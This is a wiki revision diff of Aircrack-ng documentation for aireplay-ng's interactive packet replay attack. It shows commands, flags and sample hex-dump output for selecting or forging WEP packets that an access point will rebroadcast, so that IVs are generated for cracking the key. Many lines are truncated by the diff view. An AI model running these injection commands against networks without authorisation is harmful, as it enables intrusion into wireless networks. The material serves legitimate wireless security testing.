interactive_packet_replay
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
interactive_packet_replay [2007/01/03 19:49] – fixed link mister_x | interactive_packet_replay [2010/11/21 09:05] (current) – typos sleek | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== Interactive packet replay ====== | ====== Interactive packet replay ====== | ||
+ | ===== Description ===== | ||
- | This attack allows you to choose a given packet for replaying; it sometimes gives more effective results than attack | + | This attack allows you to choose a specific |
- | You could use it, for example, to attempt | + | In order to use the interactive packet replay successfully, it it important |
- | aireplay-ng -2 -b 00: | + | To do this, we either have to select a packet which naturally will be successful or manipulate a captured packet into a natural one. We will now explore these two concepts in more detail. |
+ | First, lets look at what characteristics a packet must have to naturally work. Access points will always repeat packets destined for the broadcast MAC address. | ||
- | You can also use attack 2 to manually replay WEP-encrypted ARP request | + | So the aireplay-ng filter options we require to select these packets |
- | | + | |
+ | * -d FF: | ||
+ | * -t 1 selects packets with the "To Distribution System" | ||
+ | See " | ||
- | aireplay-ng -2 -b 00:13:10:30:24:9C -d FF: | + | Next, we will look at packets which need to be manipulated in order to be successfully replayed by the access point. |
+ | |||
+ | * -b 00: | ||
+ | * -t 1 selects packets with the "To Distribution System" | ||
+ | |||
+ | We don't care what the destination MAC address is. This because in this case we will modify the packet being injected. | ||
+ | |||
+ | * -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client to the access point. | ||
+ | * -c FF: | ||
+ | |||
+ | See " | ||
+ | |||
+ | |||
+ | ===== Usage ===== | ||
+ | |||
+ | aireplay-ng -2 <filter options> <replay options> -r <file name> <replay interface> | ||
+ | |||
+ | Where: | ||
+ | |||
+ | * -2 means interactive replay attack | ||
+ | * <filter options> are described [[aireplay-ng# | ||
+ | * <replay options> are described [[aireplay-ng# | ||
+ | * -r <file name> used to specify a pcap file to read packets from (this is optional) | ||
+ | * <replay interface> | ||
+ | |||
+ | ===== Usage Examples ===== | ||
+ | |||
+ | ==== Natural Packet Replay ==== | ||
+ | |||
+ | For this example, you do not need do a fake authentication first, since the source MAC address is already associated with the access point. | ||
+ | |||
+ | Putting it all together: | ||
+ | |||
+ | aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF: | ||
+ | |||
+ | Where: | ||
+ | |||
+ | * -2 means interactive replay | ||
+ | * -b 00: | ||
+ | * -d FF: | ||
+ | * -t 1 selects packets with the "To Distribution System" | ||
+ | * ath0 is the wireless interface | ||
+ | |||
+ | When launched, the program will look as follows: | ||
+ | |||
+ | Read 4 packets... | ||
+ | |||
+ | Size: 68, FromDS: 0, ToDS: 1 (WEP) | ||
+ | |||
+ | | ||
+ | Dest. MAC = FF: | ||
+ | Source MAC = 00: | ||
+ | |||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | |||
+ | Use this packet ? y | ||
+ | |||
+ | Notice that the packet matches our selection criteria. | ||
+ | |||
+ | | ||
+ | You should also start airodump-ng to capture replies. | ||
+ | |||
+ | Sent 773 packets... | ||
+ | |||
+ | |||
+ | ==== Modified Packet Replay ==== | ||
+ | |||
+ | For this example, you do not need do a fake authenticaion first, since the source MAC address is already associated with the access point. | ||
+ | |||
+ | Putting it all together: | ||
+ | |||
+ | | ||
+ | |||
+ | Where: | ||
+ | |||
+ | * -2 means interactive replay | ||
+ | * -b 00: | ||
+ | * -t 1 selects packets with the "To Distribution System" | ||
+ | * -c FF: | ||
+ | * -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. | ||
+ | * ath0 is the wireless interface | ||
+ | |||
+ | The IVs generated per second will vary based on the size of the packet you select. | ||
+ | |||
+ | | ||
+ | |||
+ | Size: 124, FromDS: 0, ToDS: 1 (WEP) | ||
+ | |||
+ | | ||
+ | Dest. MAC = 00: | ||
+ | Source MAC = 00:0F:B5:34:30:30 | ||
+ | |||
+ | 0x0000: 0841 2c00 0014 6c7e 4080 000f b534 3030 .A, | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | 0x0060: | ||
+ | 0x0070: | ||
+ | |||
+ | Use this packet ? y | ||
+ | |||
+ | Enter " | ||
+ | |||
+ | | ||
+ | You should also start airodump-ng to capture replies. | ||
+ | |||
+ | Sent 2966 packets... | ||
+ | |||
+ | |||
+ | ==== Other Examples ==== | ||
+ | |||
+ | You could use it, for example, to have the access point (AP) rebroadcast the packet and thereby generate new initialization vectors (IVs): | ||
+ | |||
+ | | ||
+ | |||
+ | Where: | ||
+ | |||
+ | * -2 means the interactive replay attack | ||
+ | * -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. | ||
+ | * -c FF: | ||
+ | * -b 00: | ||
+ | * -h 00: | ||
+ | * ath0 is the wireless interface name. | ||
+ | |||
+ | IMPORTANT: | ||
+ | |||
+ | The IVs generated per second will vary based on the size of the packet you select. | ||
+ | |||
+ | Read 99 packets... | ||
+ | |||
+ | Size: 139, FromDS: 1, ToDS: 0 (WEP) | ||
+ | |||
+ | | ||
+ | Dest. MAC = 01: | ||
+ | Source MAC = 00: | ||
+ | |||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | 0x0060: | ||
+ | 0x0070: | ||
+ | 0x0080: | ||
+ | |||
+ | Use this packet ? | ||
+ | |||
+ | Responding " | ||
+ | |||
+ | | ||
+ | You should also start airodump-ng to capture replies. | ||
+ | |||
+ | Sent 4772 packets... | ||
+ | |||
+ | By also including packet size filters you can easily also use attack 2 to manually replay WEP-encrypted ARP request packets. | ||
+ | |||
+ | aireplay-ng -2 -p 0841 -m 68 -n 86 -b 00: | ||
+ | |||
+ | Where: | ||
+ | |||
+ | * -2 means the interactive replay attack | ||
+ | * -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. | ||
+ | * -m 68 is the minimum packet length | ||
+ | * -n 86 is the maximum packet length | ||
+ | * -c FF: | ||
+ | * -b 00: | ||
+ | * -h 00:0F:B5:88:AC:82 sets is the MAC address of the packets being transmitted and should match your card's MAC address. | ||
+ | * | ||
+ | |||
+ | IMPORTANT: | ||
+ | |||
+ | Once you start the program it looks as follows: | ||
+ | |||
+ | Read 145 packets... | ||
+ | |||
+ | Size: 86, FromDS: 1, ToDS: 0 (WEP) | ||
+ | |||
+ | | ||
+ | Dest. MAC = FF: | ||
+ | Source MAC = 00: | ||
+ | |||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | |||
+ | Use this packet ? y | ||
+ | |||
+ | At this point, only respond " | ||
+ | |||
+ | | ||
+ | You should also start airodump-ng to capture replies. | ||
+ | |||
+ | As mentioned earlier, aireplay-ng can be used to replay packets from a pcap file. Notice in the previous example, aireplay-ng wrote a file called " | ||
+ | |||
+ | Here is an example using the output from the previous example: | ||
+ | |||
+ | aireplay-ng -2 -p 0841 -b 00: | ||
+ | |||
+ | Where: | ||
+ | |||
+ | * -2 means the interactive replay attack | ||
+ | * -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. | ||
+ | * -c FF: | ||
+ | * -b 00: | ||
+ | * -h 00: | ||
+ | * ath0 is the wireless interface name. | ||
+ | |||
+ | IMPORTANT: | ||
+ | |||
+ | The program responds: | ||
+ | |||
+ | Size: 86, FromDS: 1, ToDS: 0 (WEP) | ||
+ | |||
+ | | ||
+ | Dest. MAC = FF: | ||
+ | Source MAC = 00: | ||
+ | |||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | |||
+ | Use this packet ? y | ||
+ | |||
+ | You then say " | ||
+ | |||
+ | | ||
+ | You should also start airodump-ng to capture replies. | ||
+ | |||
+ | End of file. | ||
+ | |||
+ | ===== Usage Tips ===== | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | ==== Additional Interactive Application ==== | ||
+ | |||
+ | There are some interesting applications of the first example above. | ||
+ | |||
+ | This would also work on APs with clients. | ||
+ | |||
+ | IMPORTANT: | ||
+ | |||
+ | ==== Injecting Management Frames ==== | ||
+ | |||
+ | You can also inject management and control frames on a per frame basis with aireplay-ng. | ||
+ | |||
+ | Examples: | ||
+ | * Setting -v 8 -u 0 -w 0 allows you to send beacons frames. | ||
+ | * Setting -v 12 -u 1 -w 0 -m 10 -n 2000 sets a filter for control frames (in this case clear-to-send frames). | ||
+ | |||
+ | |||
+ | ===== Usage Troubleshooting ===== | ||
+ | |||
+ | The most common problem is that you are not associated with the AP. Either use a source MAC address of a client already associated with the AP or use [[fake authentication]]. | ||
+ | |||
+ | Check the [[i_am_injecting_but_the_ivs_don_t_increase|I am injecting but the ivs don't increase tutorial]]. | ||
+ | |||
+ | One situation that may affect interactive replay: Exception of wireless client separation option - http:// | ||
+ | |||
+ | Also see the general aireplay-ng troubleshooting ideas: [[aireplay-ng# | ||
- | Another good idea is to capture some traffic and then have a look at it with [[http:// |
interactive_packet_replay.1167850170.txt.gz · Last modified: 2007/01/03 19:49 (external edit)